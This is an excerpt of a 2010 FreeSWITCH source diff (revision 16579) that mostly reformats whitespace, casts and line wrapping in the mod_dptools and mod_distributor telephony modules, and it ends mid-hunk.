@@ -370,11 +372,12 @@
globals.pool = pool;
load_config(SWITCH_FALSE);
-
+
SWITCH_ADD_API(api_interface, "distributor", "Distributor API", distributor_function, "<list name>");
SWITCH_ADD_API(api_interface, "distributor_ctl", "Distributor API", distributor_ctl_function, "[reload]");
- SWITCH_ADD_APP(app_interface, "distributor", "Distributor APP", "Distributor APP", distributor_exec, "<list name>", SAF_SUPPORT_NOMEDIA|SAF_ROUTING_EXEC);
+ SWITCH_ADD_APP(app_interface, "distributor", "Distributor APP", "Distributor APP", distributor_exec, "<list name>",
+ SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
/* indicate that the module should continue to be loaded */
Modified: freeswitch/trunk/src/mod/applications/mod_dptools/mod_dptools.c (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_dptools/mod_dptools.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_dptools/mod_dptools.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -89,7 +89,7 @@
switch_caller_extension_add_application(session, extension, app, data);
}
- caller_profile->destination_number = (char *)caller_profile->rdnis;
+ caller_profile->destination_number = (char *) caller_profile->rdnis;
caller_profile->rdnis = SWITCH_BLANK_STRING;
return extension;
@@ -177,7 +177,8 @@
SWITCH_STANDARD_APP(mkdir_function)
{
switch_dir_make_recursive(data, SWITCH_DEFAULT_DIR_PERMS, switch_core_session_get_pool(session));
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s MKDIR: %s\n", switch_channel_get_name(switch_core_session_get_channel(session)), data);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s MKDIR: %s\n",
+ switch_channel_get_name(switch_core_session_get_channel(session)), data);
}
#define SOFT_HOLD_SYNTAX "<unhold key> [<moh_a>] [<moh_b>]"
@@ -276,7 +277,7 @@
if (strchr(argv[2], '1')) {
bind_flags |= SBF_ONCE;
}
-
+
if (switch_ivr_bind_dtmf_meta_session(session, kval, bind_flags, argv[3]) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Bind Error!\n");
}
@@ -375,7 +376,7 @@
if (e_data.total) {
for (x = 0; x < e_data.total && switch_channel_ready(channel); x++) {
/* If we have a group and 1000 concurrent calls, we will flood the logs. This check avoids this */
- if ( !require_group )
+ if (!require_group)
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Spy: %s\n", e_data.uuid_list[x]);
if ((file = switch_channel_get_variable(channel, "eavesdrop_indicate_new"))) {
switch_ivr_play_file(session, NULL, file, NULL);
@@ -437,9 +438,9 @@
mydata = switch_core_session_strdup(session, data);
argc = switch_split(mydata, ' ', argv);
-
+
if (argc != 2) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Error. USAGE: %s\n",
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Error. USAGE: %s\n",
switch_core_session_get_name(session), SET_AUDIO_LEVEL_SYNTAX);
return;
}
@@ -447,8 +448,8 @@
level = atoi(argv[1]);
switch_ivr_session_audio(session, "level", argv[0], level);
-
-
+
+
}
#define SET_MUTE_SYNTAX "[read|write] [[true|cn level]|false]"
@@ -461,19 +462,19 @@
mydata = switch_core_session_strdup(session, data);
argc = switch_split(mydata, ' ', argv);
-
+
if (argc != 2) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Error. USAGE: %s\n",
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Error. USAGE: %s\n",
switch_core_session_get_name(session), SET_MUTE_SYNTAX);
return;
}
-
+
if ((level = atoi(argv[1])) <= 0) {
level = switch_true(argv[1]);
}
-
+
switch_ivr_session_audio(session, "mute", argv[0], level);
-
+
}
@@ -731,7 +732,7 @@
return;
}
- switch_channel_presence(channel, argv[0], argv[1], argv[2]);
+ switch_channel_presence(channel, argv[0], argv[1], argv[2]);
}
SWITCH_STANDARD_APP(pre_answer_function)
@@ -787,7 +788,7 @@
SWITCH_STANDARD_APP(set_function)
{
char *var, *val = NULL;
-
+
if (zstr(data)) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "No variable name specified.\n");
} else {
@@ -808,7 +809,8 @@
expanded = switch_channel_expand_variables(channel, val);
}
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s SET [%s]=[%s]\n", switch_channel_get_name(channel), var, expanded ? expanded : "UNDEF");
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s SET [%s]=[%s]\n", switch_channel_get_name(channel), var,
+ expanded ? expanded : "UNDEF");
switch_channel_set_variable_var_check(channel, var, expanded, SWITCH_FALSE);
if (expanded && expanded != val) {
@@ -857,7 +859,7 @@
val = NULL;
}
}
-
+
switch_channel_set_profile_var(switch_core_session_get_channel(session), name, val);
}
}
@@ -891,8 +893,8 @@
}
}
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "EXPORT %s[%s]=[%s]\n", local ? "" : "(REMOTE ONLY) ", var_name ? var_name : "",
- val ? val : "UNDEF");
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "EXPORT %s[%s]=[%s]\n", local ? "" : "(REMOTE ONLY) ",
+ var_name ? var_name : "", val ? val : "UNDEF");
switch_channel_set_variable(channel, var, val);
if (var && val) {
@@ -999,11 +1001,11 @@
while (*p == ' ')
*p++ = '\0';
val = p;
- if (!strcasecmp(var,"Event-Name")) {
+ if (!strcasecmp(var, "Event-Name")) {
switch_name_event(val, &event->event_id);
switch_event_del_header(event, var);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, var, val);
- } else if (!strcasecmp(var,"Event-Subclass")) {
+ } else if (!strcasecmp(var, "Event-Subclass")) {
size_t len = strlen(val) + 1;
void *new = malloc(len);
switch_assert(new);
@@ -1043,7 +1045,8 @@
switch_clear_flag(caller_profile, SWITCH_CPF_HIDE_NAME);
switch_clear_flag(caller_profile, SWITCH_CPF_HIDE_NUMBER);
} else {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "INVALID privacy mode specified. Use a valid mode [no|yes|name|full|number].\n");
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR,
+ "INVALID privacy mode specified. Use a valid mode [no|yes|name|full|number].\n");
}
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Set Privacy to %s [%d]\n", data, caller_profile->flags);
}
@@ -1112,7 +1115,7 @@
SWITCH_STANDARD_API(presence_api_function)
{
switch_event_t *event;
- char *lbuf = NULL , *argv[4];
+ char *lbuf = NULL, *argv[4];
int argc = 0;
switch_event_types_t type = SWITCH_EVENT_PRESENCE_IN;
int need = 4;
@@ -1158,7 +1161,7 @@
switch_safe_free(lbuf);
return SWITCH_STATUS_SUCCESS;
- error:
+ error:
switch_safe_free(lbuf);
stream->write_function(stream, "Invalid: presence %s", PRESENCE_USAGE);
@@ -1173,8 +1176,7 @@
if (!zstr(cmd) && (lbuf = strdup(cmd))
&& (argc = switch_separate_string(lbuf, '|', argv, (sizeof(argv) / sizeof(argv[0])))) >= 4) {
- if (switch_core_chat_send(argv[0], "dp", argv[1], argv[2], "", argv[3],
- !zstr(argv[4]) ? argv[4] : NULL , "") == SWITCH_STATUS_SUCCESS) {
+ if (switch_core_chat_send(argv[0], "dp", argv[1], argv[2], "", argv[3], !zstr(argv[4]) ? argv[4] : NULL, "") == SWITCH_STATUS_SUCCESS) {
stream->write_function(stream, "Sent");
} else {
stream->write_function(stream, "Error! Message Not Sent");
@@ -1206,7 +1208,7 @@
{
switch_channel_t *channel = switch_core_session_get_channel(session);
switch_event_t *params;
- const char *name = (const char*)data;
+ const char *name = (const char *) data;
if (channel) {
switch_xml_t cxml = NULL, cfg = NULL, xml_menus = NULL, xml_menu = NULL;
@@ -1234,7 +1236,7 @@
&& switch_ivr_menu_stack_xml_build(xml_ctx, &menu_stack, xml_menus, xml_menu) == SWITCH_STATUS_SUCCESS) {
switch_xml_free(cxml);
cxml = NULL;
- switch_ivr_menu_execute(session, menu_stack, (char*)name, NULL);
+ switch_ivr_menu_execute(session, menu_stack, (char *) name, NULL);
switch_ivr_menu_stack_free(menu_stack);
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Unable to create menu\n");
@@ -1404,7 +1406,7 @@
for (p = terminators; p && *p; p++) {
if (*p == dtmf->digit) {
switch_snprintf(sbuf, sizeof(sbuf), "%c", *p);
- switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, sbuf );
+ switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, sbuf);
return SWITCH_STATUS_BREAK;
}
}
@@ -1432,7 +1434,7 @@
args.input_callback = on_dtmf;
args.buf = buf;
args.buflen = sizeof(buf);
- switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "" );
+ switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "");
}
switch_ivr_sleep(session, ms, SWITCH_TRUE, &args);
@@ -1503,7 +1505,7 @@
args.buf = buf;
args.buflen = sizeof(buf);
- switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "" );
+ switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "");
switch_ivr_speak_text(session, engine, voice, text, &args);
}
@@ -1582,7 +1584,8 @@
switch_stream_handle_t stream = { 0 };
SWITCH_STANDARD_STREAM(stream);
switch_api_execute("uuid_bridge", id, NULL, &stream);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "\nHangup Command uuid_bridge(%s):\n%s\n", id, switch_str_nil((char *) stream.data));
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "\nHangup Command uuid_bridge(%s):\n%s\n", id,
+ switch_str_nil((char *) stream.data));
switch_safe_free(stream.data);
}
@@ -1607,7 +1610,7 @@
switch_channel_set_variable(channel, SWITCH_SOFT_HOLDING_UUID_VARIABLE, bond);
- if (switch_ivr_originate(session, &peer_session, &cause, data, 0, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL)
+ if (switch_ivr_originate(session, &peer_session, &cause, data, 0, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL)
!= SWITCH_STATUS_SUCCESS || !peer_session) {
goto end;
}
@@ -1640,13 +1643,13 @@
switch_channel_t *b_channel = switch_core_session_get_channel(b_session);
switch_snprintf(buf, sizeof(buf), "%s %s", switch_core_session_get_uuid(peer_session), switch_core_session_get_uuid(session));
switch_channel_set_variable(b_channel, "xfer_uuids", buf);
-
+
switch_snprintf(buf, sizeof(buf), "%s %s", switch_core_session_get_uuid(peer_session), bond);
switch_channel_set_variable(channel, "xfer_uuids", buf);
-
+
switch_core_event_hook_add_state_change(session, hanguphook);
switch_core_event_hook_add_state_change(b_session, hanguphook);
-
+
switch_core_session_rwunlock(b_session);
}
}
@@ -1654,7 +1657,7 @@
if (!br) {
switch_ivr_uuid_bridge(switch_core_session_get_uuid(session), bond);
}
-
+
}
switch_core_session_rwunlock(peer_session);
@@ -1813,11 +1816,11 @@
if (!zstr(data) && (lbuf = switch_core_session_strdup(session, data))
&& (argc = switch_separate_string(lbuf, ' ', argv, (sizeof(argv) / sizeof(argv[0])))) == 4) {
-
+
args.input_callback = on_dtmf;
-
- switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "" );
-
+
+ switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "");
+
switch_ivr_say(session, argv[3], argv[0], argv[1], argv[2], &args);
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Usage: %s\n", SAY_SYNTAX);
@@ -1841,15 +1844,16 @@
if ((mdata = strchr(macro, ','))) {
*mdata++ = '\0';
}
-
+
lang = switch_channel_get_variable(channel, "language");
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Execute %s(%s) lang %s\n", macro, switch_str_nil(mdata), switch_str_nil(lang));
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Execute %s(%s) lang %s\n", macro, switch_str_nil(mdata),
+ switch_str_nil(lang));
args.input_callback = on_dtmf;
-
- switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "" );
+ switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "");
+
status = switch_ivr_phrase_macro(session, macro, mdata, lang, &args);
} else {
status = SWITCH_STATUS_NOOP;
@@ -1878,10 +1882,10 @@
switch_file_handle_t fh = { 0 };
char *p;
const char *file = NULL;
-
+
if (data) {
file = switch_core_session_strdup(session, data);
- if ((p = strchr(file, '@')) && *(p+1) == '@') {
+ if ((p = strchr(file, '@')) && *(p + 1) == '@') {
*p = '\0';
p += 2;
if (p && *p) {
@@ -1894,7 +1898,7 @@
args.input_callback = on_dtmf;
- switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "" );
+ switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "");
status = switch_ivr_play_file(session, &fh, file, &args);
@@ -1920,8 +1924,8 @@
switch_channel_t *channel = switch_core_session_get_channel(session);
switch_status_t status = SWITCH_STATUS_SUCCESS;
const char *file = data;
-
- while(switch_channel_ready(channel)) {
+
+ while (switch_channel_ready(channel)) {
status = switch_ivr_play_file(session, NULL, file, NULL);
if (status != SWITCH_STATUS_SUCCESS && status != SWITCH_STATUS_BREAK) {
@@ -1968,7 +1972,7 @@
args.input_callback = on_dtmf;
- switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "" );
+ switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "");
switch_ivr_gentones(session, tone_script, loops, &args);
}
@@ -2060,7 +2064,7 @@
args.input_callback = on_dtmf;
- switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "" );
+ switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "");
status = switch_ivr_record_file(session, &fh, path, &args, limit);
@@ -2071,7 +2075,7 @@
SWITCH_STANDARD_APP(preprocess_session_function)
{
- switch_ivr_preprocess_session(session, (char *)data);
+ switch_ivr_preprocess_session(session, (char *) data);
}
SWITCH_STANDARD_APP(record_session_function)
@@ -2089,7 +2093,7 @@
/* Search for a space then a plus followed by only numbers at the end of the path,
if found trim any spaces to the left/right of the plus use the left side as the
path and right side as a time limit on the recording
- */
+ */
/* if we find a + and the character before it is a space */
if ((path_end = strrchr(path, '+')) && path_end > path && *(path_end - 1) == ' ') {
@@ -2102,7 +2106,7 @@
path_end--;
/* trim spaces to the left of the plus */
- while(path_end > path && *path_end == ' ') {
+ while (path_end > path && *path_end == ' ') {
path_end--;
}
@@ -2165,15 +2169,15 @@
args.input_callback = camp_fire;
args.buf = dbuf;
args.buflen = sizeof(dbuf);
-
+
switch_core_session_read_lock(session);
/* don't set this to a local_stream:// or you will not be happy */
if ((greet = switch_channel_get_variable(channel, "campon_announce_sound"))) {
status = switch_ivr_play_file(session, NULL, greet, &args);
}
-
- while(stake->running && switch_channel_ready(channel)) {
+
+ while (stake->running && switch_channel_ready(channel)) {
if (status != SWITCH_STATUS_BREAK) {
if (!strcasecmp(moh, "silence")) {
status = switch_ivr_collect_digits_callback(session, &args, 0, 0);
@@ -2207,7 +2211,7 @@
switch_threadattr_t *thd_attr = NULL;
char *camp_data = NULL;
switch_status_t status;
-
+
if (zstr(data)) {
return;
}
@@ -2218,7 +2222,7 @@
if ((v_campon = switch_channel_get_variable(caller_channel, "campon")) && switch_true(v_campon)) {
const char *cid_name = NULL;
const char *cid_number = NULL;
-
+
if (!(cid_name = switch_channel_get_variable(caller_channel, "effective_caller_id_name"))) {
cid_name = switch_channel_get_variable(caller_channel, "caller_id_name");
}
@@ -2239,7 +2243,7 @@
v_campon_timeout = switch_channel_get_variable(caller_channel, "campon_timeout");
v_campon_sleep = switch_channel_get_variable(caller_channel, "campon_sleep");
v_campon_fallback_exten = switch_channel_get_variable(caller_channel, "campon_fallback_exten");
-
+
if (v_campon_retries) {
if ((tmp = atoi(v_campon_retries)) > 0) {
campon_retries = tmp;
@@ -2262,10 +2266,10 @@
camping = 1;
if (cid_name && cid_number) {
- camp_data = switch_core_session_sprintf(session, "{origination_caller_id_name='%s',origination_caller_id_number='%s'}%s",
+ camp_data = switch_core_session_sprintf(session, "{origination_caller_id_name='%s',origination_caller_id_number='%s'}%s",
cid_name, cid_number, data);
} else {
- camp_data = (char *)data;
+ camp_data = (char *) data;
}
if (!(moh = switch_channel_get_variable(caller_channel, "hold_music"))) {
@@ -2275,22 +2279,22 @@
do {
fail = 0;
status = switch_ivr_originate(NULL, &peer_session, &cause, camp_data, campon_timeout, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL);
-
+
if (!switch_channel_ready(caller_channel)) {
fail = 1;
break;
}
-
+
if (status == SWITCH_STATUS_SUCCESS) {
camping = 0;
break;
} else {
fail = 1;
}
-
+
if (camping) {
-
- if (!thread_started && fail && moh && !switch_channel_test_flag(caller_channel, CF_PROXY_MODE) &&
+
+ if (!thread_started && fail && moh && !switch_channel_test_flag(caller_channel, CF_PROXY_MODE) &&
!switch_channel_test_flag(caller_channel, CF_PROXY_MEDIA) &&
!switch_true(switch_channel_get_variable(caller_channel, "bypass_media"))) {
switch_threadattr_create(&thd_attr, switch_core_session_get_pool(session));
@@ -2311,15 +2315,15 @@
if (fail) {
int64_t wait = campon_sleep * 1000000;
-
- while(stake.running && wait > 0 && switch_channel_ready(caller_channel)) {
+
+ while (stake.running && wait > 0 && switch_channel_ready(caller_channel)) {
switch_yield(100000);
wait -= 100000;
}
}
}
} while (camping && switch_channel_ready(caller_channel));
-
+
if (thread) {
stake.running = 0;
switch_channel_set_flag(caller_channel, CF_NOT_READY);
@@ -2327,17 +2331,18 @@
}
switch_channel_clear_flag(caller_channel, CF_NOT_READY);
-
+
if (stake.do_xfer && !zstr(v_campon_fallback_exten)) {
- switch_ivr_session_transfer(session,
- v_campon_fallback_exten,
+ switch_ivr_session_transfer(session,
+ v_campon_fallback_exten,
switch_channel_get_variable(caller_channel, "campon_fallback_dialplan"),
switch_channel_get_variable(caller_channel, "campon_fallback_context"));
return;
}
} else {
- if ((status = switch_ivr_originate(session, &peer_session, &cause, data, 0, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL)) != SWITCH_STATUS_SUCCESS) {
+ if ((status =
+ switch_ivr_originate(session, &peer_session, &cause, data, 0, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL)) != SWITCH_STATUS_SUCCESS) {
fail = 1;
}
}
@@ -2350,23 +2355,23 @@
'true' to continue on all failures.
'false' to not continue.
A list of codes either names or numbers eg "user_busy,normal_temporary_failure,603"
- failure_causes acts as the opposite version
+ failure_causes acts as the opposite version
EXCEPTION... ATTENDED_TRANSFER never is a reason to continue.......
*/
if (cause != SWITCH_CAUSE_ATTENDED_TRANSFER) {
if (continue_on_fail || failure_causes) {
const char *cause_str;
char cause_num[35] = "";
-
+
cause_str = switch_channel_cause2str(cause);
switch_snprintf(cause_num, sizeof(cause_num), "%u", cause);
-
+
if (failure_causes) {
char *lbuf = switch_core_session_strdup(session, failure_causes);
char *argv[256] = { 0 };
int argc = switch_separate_string(lbuf, ',', argv, (sizeof(argv) / sizeof(argv[0])));
int i, x = 0;
-
+
for (i = 0; i < argc; i++) {
if (!strcasecmp(argv[i], cause_str) || !strcasecmp(argv[i], cause_num)) {
x++;
@@ -2374,7 +2379,7 @@
}
}
if (!x) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
"Failure causes [%s]: Cause: %s\n", failure_causes, cause_str);
return;
}
@@ -2388,10 +2393,10 @@
char *argv[256] = { 0 };
int argc = switch_separate_string(lbuf, ',', argv, (sizeof(argv) / sizeof(argv[0])));
int i;
-
+
for (i = 0; i < argc; i++) {
if (!strcasecmp(argv[i], cause_str) || !strcasecmp(argv[i], cause_num)) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
"Continue on fail [%s]: Cause: %s\n", continue_on_fail, cause_str);
return;
}
@@ -2410,7 +2415,7 @@
}
return;
} else {
-
+
if (switch_channel_test_flag(caller_channel, CF_PROXY_MODE)) {
switch_ivr_signal_bridge(session, peer_session);
} else {
@@ -2439,10 +2444,10 @@
if (switch_true(switch_channel_get_variable(caller_channel, SWITCH_BYPASS_MEDIA_AFTER_BRIDGE_VARIABLE))) {
switch_channel_set_flag(caller_channel, CF_BYPASS_MEDIA_AFTER_BRIDGE);
}
-
+
switch_ivr_multi_threaded_bridge(session, peer_session, func, a_key, b_key);
}
-
+
if (peer_session) {
switch_core_session_rwunlock(peer_session);
}
@@ -2452,17 +2457,19 @@
/* fake chan_error */
switch_endpoint_interface_t *error_endpoint_interface;
static switch_call_cause_t error_outgoing_channel(switch_core_session_t *session,
- switch_event_t *var_event,
- switch_caller_profile_t *outbound_profile,
- switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
+ switch_event_t *var_event,
+ switch_caller_profile_t *outbound_profile,
+ switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+ switch_call_cause_t *cancel_cause);
switch_io_routines_t error_io_routines = {
/*.outgoing_channel */ error_outgoing_channel
};
static switch_call_cause_t error_outgoing_channel(switch_core_session_t *session,
- switch_event_t *var_event,
- switch_caller_profile_t *outbound_profile,
- switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
+ switch_event_t *var_event,
+ switch_caller_profile_t *outbound_profile,
+ switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+ switch_call_cause_t *cancel_cause)
{
switch_call_cause_t cause = switch_channel_str2cause(outbound_profile->destination_number);
if (cause == SWITCH_CAUSE_NONE) {
@@ -2476,17 +2483,19 @@
/* fake chan_group */
switch_endpoint_interface_t *group_endpoint_interface;
static switch_call_cause_t group_outgoing_channel(switch_core_session_t *session,
- switch_event_t *var_event,
- switch_caller_profile_t *outbound_profile,
- switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
+ switch_event_t *var_event,
+ switch_caller_profile_t *outbound_profile,
+ switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+ switch_call_cause_t *cancel_cause);
switch_io_routines_t group_io_routines = {
/*.outgoing_channel */ group_outgoing_channel
};
static switch_call_cause_t group_outgoing_channel(switch_core_session_t *session,
- switch_event_t *var_event,
- switch_caller_profile_t *outbound_profile,
- switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
+ switch_event_t *var_event,
+ switch_caller_profile_t *outbound_profile,
+ switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+ switch_call_cause_t *cancel_cause)
{
char *group = NULL;
switch_call_cause_t cause = SWITCH_CAUSE_NONE;
@@ -2501,33 +2510,32 @@
group = strdup(outbound_profile->destination_number);
- if (!group) goto done;
-
+ if (!group)
+ goto done;
+
if ((domain = strchr(group, '@'))) {
*domain++ = '\0';
} else {
domain = switch_core_get_variable("domain");
}
-
+
if (!domain) {
goto done;
}
- if (var_event && (skip=switch_event_get_header(var_event, "group_recurse_variables")) && switch_false(skip)) {
- if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) ||
- (var = switch_event_get_header(var_event, "leg_timeout"))) {
+ if (var_event && (skip = switch_event_get_header(var_event, "group_recurse_variables")) && switch_false(skip)) {
+ if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) || (var = switch_event_get_header(var_event, "leg_timeout"))) {
timelimit = atoi(var);
}
var_event = NULL;
}
template = switch_mprintf("${group_call(%s@%s)}", group, domain);
-
+
if (session) {
switch_channel_t *channel = switch_core_session_get_channel(session);
dest = switch_channel_expand_variables(channel, template);
- if ((var = switch_channel_get_variable(channel, SWITCH_CALL_TIMEOUT_VARIABLE)) ||
- (var = switch_event_get_header(var_event, "leg_timeout"))) {
+ if ((var = switch_channel_get_variable(channel, SWITCH_CALL_TIMEOUT_VARIABLE)) || (var = switch_event_get_header(var_event, "leg_timeout"))) {
timelimit = atoi(var);
}
} else if (var_event) {
@@ -2542,28 +2550,27 @@
if (!dest) {
goto done;
}
-
+
if (var_event) {
cid_name_override = switch_event_get_header(var_event, "origination_caller_id_name");
cid_num_override = switch_event_get_header(var_event, "origination_caller_id_number");
- if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) ||
- (var = switch_event_get_header(var_event, "leg_timeout"))) {
+ if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) || (var = switch_event_get_header(var_event, "leg_timeout"))) {
timelimit = atoi(var);
}
}
-
+
if ((flags & SOF_FORKED_DIAL)) {
myflags |= SOF_NOBLOCK;
}
-
-
- if (switch_ivr_originate(session, new_session, &cause, dest, timelimit, NULL,
+
+
+ if (switch_ivr_originate(session, new_session, &cause, dest, timelimit, NULL,
cid_name_override, cid_num_override, NULL, var_event, myflags, cancel_cause) == SWITCH_STATUS_SUCCESS) {
const char *context;
switch_caller_profile_t *cp;
-
+
new_channel = switch_core_session_get_channel(*new_session);
-
+
if ((context = switch_channel_get_variable(new_channel, "group_context"))) {
if ((cp = switch_channel_get_caller_profile(new_channel))) {
cp->context = switch_core_strdup(cp->pool, context);
@@ -2578,10 +2585,10 @@
if (dest && dest != template) {
switch_safe_free(dest);
}
-
- switch_safe_free(template);
- switch_safe_free(group);
+ switch_safe_free(template);
+ switch_safe_free(group);
+
if (cause == SWITCH_CAUSE_NONE) {
cause = SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
}
@@ -2596,7 +2603,8 @@
static switch_call_cause_t user_outgoing_channel(switch_core_session_t *session,
switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
- switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
+ switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+ switch_call_cause_t *cancel_cause);
switch_io_routines_t user_io_routines = {
/*.outgoing_channel */ user_outgoing_channel
};
@@ -2604,7 +2612,8 @@
static switch_call_cause_t user_outgoing_channel(switch_core_session_t *session,
switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
- switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
+ switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+ switch_call_cause_t *cancel_cause)
{
switch_xml_t x_domain = NULL, xml = NULL, x_user = NULL, x_group = NULL, x_param, x_params;
char *user = NULL, *domain = NULL;
@@ -2622,22 +2631,22 @@
user = strdup(outbound_profile->destination_number);
- if (!user) goto done;
+ if (!user)
+ goto done;
if ((domain = strchr(user, '@'))) {
*domain++ = '\0';
} else {
domain = switch_core_get_variable("domain");
}
-
+
if (!domain) {
goto done;
}
-
- if (var_event && (skip=switch_event_get_header(var_event, "user_recurse_variables")) && switch_false(skip)) {
- if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) ||
- (var = switch_event_get_header(var_event, "leg_timeout"))) {
+
+ if (var_event && (skip = switch_event_get_header(var_event, "user_recurse_variables")) && switch_false(skip)) {
+ if ((var = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) || (var = switch_event_get_header(var_event, "leg_timeout"))) {
timelimit = atoi(var);
}
var_event = NULL;
@@ -2744,7 +2753,7 @@
switch_event_dup(&event, var_event);
switch_event_del_header(event, "dialed_user");
switch_event_del_header(event, "dialed_domain");
- if ((varval = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) ||
+ if ((varval = switch_event_get_header(var_event, SWITCH_CALL_TIMEOUT_VARIABLE)) ||
(varval = switch_event_get_header(var_event, "leg_timeout"))) {
timelimit = atoi(varval);
}
@@ -2765,10 +2774,12 @@
switch_snprintf(stupid, sizeof(stupid), "user/%s", user);
if (switch_stristr(stupid, d_dest)) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Waddya Daft? You almost called '%s' in an infinate loop!\n", stupid);
